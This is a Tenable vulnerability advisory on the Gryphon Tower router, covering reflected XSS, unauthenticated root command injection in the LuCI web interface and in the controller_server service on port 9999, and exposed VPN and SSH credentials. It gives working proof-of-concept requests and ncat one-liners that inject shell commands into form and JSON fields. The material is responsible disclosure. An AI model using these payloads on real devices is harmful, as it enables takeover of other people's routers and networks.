tenable

Multiple Vulnerabilities in Gryphon Tower Router

Critical

← View More Research Advisories

Synopsis

Researchers at Tenable discovered multiple vulnerabilities in the Gryphon Tower router running the latest publicly available firmware (04.0004.12, despite listing of 04.0004.80 on their software release update page), which when combined could lead to unauthenticated remote command injection as root on unsuspecting user devices.

CVE-2021-20137 - Reflected Cross-Site Scripting in web interface via /cgi-bin/luci/site_access/

CVSSv3 Base Score: 4.3

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

A reflected cross-site scripting vulnerability exists in the url parameter of the /cgi-bin/luci/site_access/ page on the Gryphon Tower router's web interface. An attacker could exploit this issue by tricking a user into following a specially crafted link, granting the attacker javascript execution in the context of the victim's browser.

Proof of Concept:

Visiting the following link in a browser, substituting the <device-ip> with the Gryphon device's IP address, will trigger the reflected cross-site scripting vulnerability.

```
http://<device-ip>/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1
```

CVE-2021-20138 - Unauthenticated command injection in Gryphon web interface via /cgi-bin/luci/rc

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in multiple parameters in the Gryphon Tower router's web interface at **/cgi-bin/luci/rc**. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the web interface.

The issue occurs in **/usr/lib/lua/luci/controller/admin/index.lua** in the **config_repeater()** function. Each parameter passed via a POST request to the aforementioned url is concatenated, unsanitized, to a string which is run via a call to **os.execute()**. As a result, each parameter could be injected with various forms of bash command substitution (i.e. with $(some_command) or `some_command) which will execute the commands as the root user.

Proof of Concept:

****please note: this proof of concept will alter device settings in a way which may interrupt normal communications with the device (as the settings entered into each parameter are saved to the device configuration).**

The following request will write the result of the **id** command to the file **/tmp/lua-injection**.

```
POST /cgi-bin/luci/rc HTTP/1.1
Host: 192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 166

ssid=`id>/tmp/lua-injection`&gssid=test&mkey=test&mssid=test&key5=test&ssid5=test&hidden=test&key=test&wpa=test&board=test&Router=test&country=test&ghidden=test&gkey=test
```

This can be confirmed by running the cat command on /tmp/lua-injection after sending the example request above:

```
/tmp # cat /tmp/lua-injection
cat /tmp/lua-injection
uid=0(root) gid=0(root)
```

Multiple unauthenticated command injections in the controller_server service

The **controller_server** service running on port **9999** of the Gryphon router has a number of operations which are vulnerable to command injection, which could allow an unauthenticated attacker to execute commands as the root user on the device. We consider each of these injections an individual vulnerability, but are grouping them for clarity.

The issues exist because the functions associated with each operation number pass user input unsanitized to strings which are in turn passed in calls to **system()**, allowing an attacker to achieve command injection.

For example operation 0x29 (41 in decimal) runs the following command: **/sbin/uci set wireless.%s** where **%s** is the cmd parameter sent to **controller_server**. An attacker can inject this by passing a parameter of **";id>/tmp/op41"** which will write the results of the id command to the **/tmp/op41** file.

Please note: The the proofs-of-concept for the following issues could alter the configuration of the device and interrupt normal operation.

In the following proofs of concept, we are sending the messages in the following format, requiring the ncat tool:

```
echo '<payload>' | ncat --ssl <device-ip> 9999
```

An unauthenticated command injection vulnerability exists in the parameters of operation 3 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file **/tmp/op3** containing the results of the **id** command.

```
echo '{"3":{"ipaddr":";id>/tmp/op3"}}' | ncat --ssl <device-ip> 9999
```

CVE-2021-20140 - Unauthenticated command injection in operation 10 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 10 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file **/tmp/op10** containing the results of the **id** command.

```
echo '{"10":{"macaddr":";id>/tmp/op10", "status":"tenable","version":"tenable"}}' | ncat --ssl <device-ip> 9999
```

CVE-2021-20141 - Unauthenticated command injection in operation 32 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 32 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

For operation 32, we must send two payloads in sequence. Additionally, for this case we are limited to 16 characters of injection, which can still be dangerous but just requires an attacker to be more creative. The following payloads will create the file **/tmp/op32** containing the results of the **id** command.

First:

```
echo '{"21":"true"}' | ncat --ssl <device-ip> 9999
```

Second:

```
{"32":{"channel":";id>/tmp/op32"}}
```

CVE-2021-20142 - Unauthenticated command injection in operation 41 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 41 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file **/tmp/op41** containing the results of the **id** command.

```
echo '{"41":{"cmd":";id>/tmp/op41"}}' | ncat --ssl <device-ip> 9999
```

CVE-2021-20143 - Unauthenticated command injection in operation 48 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 48 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file **/tmp/op48** containing the results of the **id** command.

```
echo '{"48":{"newclient":";id>/tmp/op48"}}' | ncat --ssl <device-ip> 9999
```

CVE-2021-20144 - Unauthenticated command injection in operation 49 in controller_server

CVSSv3 Base Score: 8.8

Proof of Concept:

The following payload will create the file **/tmp/op49** containing the results of the **id** command.

```
echo '{"49":{"scaleType":";id>/tmp/op49", "scaleFrequency":1}}' | ncat --ssl <device-ip> 9999
```

CVE-2021-20145 - Unprotected openvpn configuration/credentials which can lead to adjacent network access to other customers' devices

CVSSv3 Base Score: 8.6

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Gryphon Tower routers contain an unprotected openvpn configuration file which can grant attackers access to the Gryphon homebound VPN network which exposes the LAN interfaces of other users' devices connected to the same service. An attacker could leverage this to make configuration changes to, or otherwise attack victims' devices as though they were on an adjacent network.

The Gryphon homebound service allows users to connect their mobile devices to the internet via their own home network by connecting the user's mobile device, and their Gryphon router, to a VPN network. This VPN network appears to be shared amongst all routers and Gryphon customers using the service.

Notably, an attacker connected to this network could leverage this access to attack unsuspecting victims' devices using the other vulnerabilities noted in this advisory as though they were on an adjacent network.

Proof-of-concept:

An attacker can retrieve the ovpn configuration file from the Gryphon Router, and connect to the VPN network by running:

```
openvpn homebound-client.ovpn
```

The attacker will then be able to view other Gryphon devices connected with ports exposed as though they were on the victim devices' LAN.

CVE-2021-20146 - Unprotected ssh private key which can lead to root access to developer server

CVSSv3 Base Score: 7.5

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

An unprotected ssh private key exists on the Gryphon devices which could be used to achieve root access to a server affiliated with Gryphon's development and infrastructure. At the time of discovery, the ssh key could be used to login to the development server hosted in Amazon Web Services.

Solution

Gryphon Tower and Guardian Devices:

- Issues fixed in version 4.0008.19
- Firmware versions >= 6.0001.62 contain all security fixes

Gryphon AX:

- Firmware versions >= 02.06.0003.94 have all the security fixes

Please contact Gryphon for more information.

Disclosure Timeline

August 30, 2021 - Tenable requests a security contact
August 31, 2021 - Gryphon responds, informing Tenable the request has been forwarded to management for consideration.
September 1, 2021 - Gryphon closes ticket
September 7, 2021 - Tenable reaches out again to ask for a security contact for disclosure
September 7, 2021 - Gryphon responds that the request have been forward, but ticket was closed as spam
September 7, 2021 - Tenable reports vulnerabilities to Gryphon
September 8, 2021 - Gryphon confirms vulnerabilities are being evaluated
October 25, 2021 - Tenable inquires whether there have been any updates
October 25, 2021 - Gryphon provides Tenable an unreleased firmware update with fixes for evaluation
November 4, 2021 - Tenable informs Gryphon that multiple vulnerabilities are still present
November 11, 2021 - Gryphon confirms

Risk Information

CVE ID: CVE-2021-20137
CVE-2021-20138
CVE-2021-20139
CVE-2021-20140
CVE-2021-20141
CVE-2021-20142

Tenable Advisory ID: TRA-2021-51
Credit: Evan Grant

Katie Sexton

Affected Products: Gryphon Tower Router
Risk Factor: Critical

Advisory Timeline

December 7, 2021 - Initial Release
April 8, 2022 - Advisory updated with fixed releases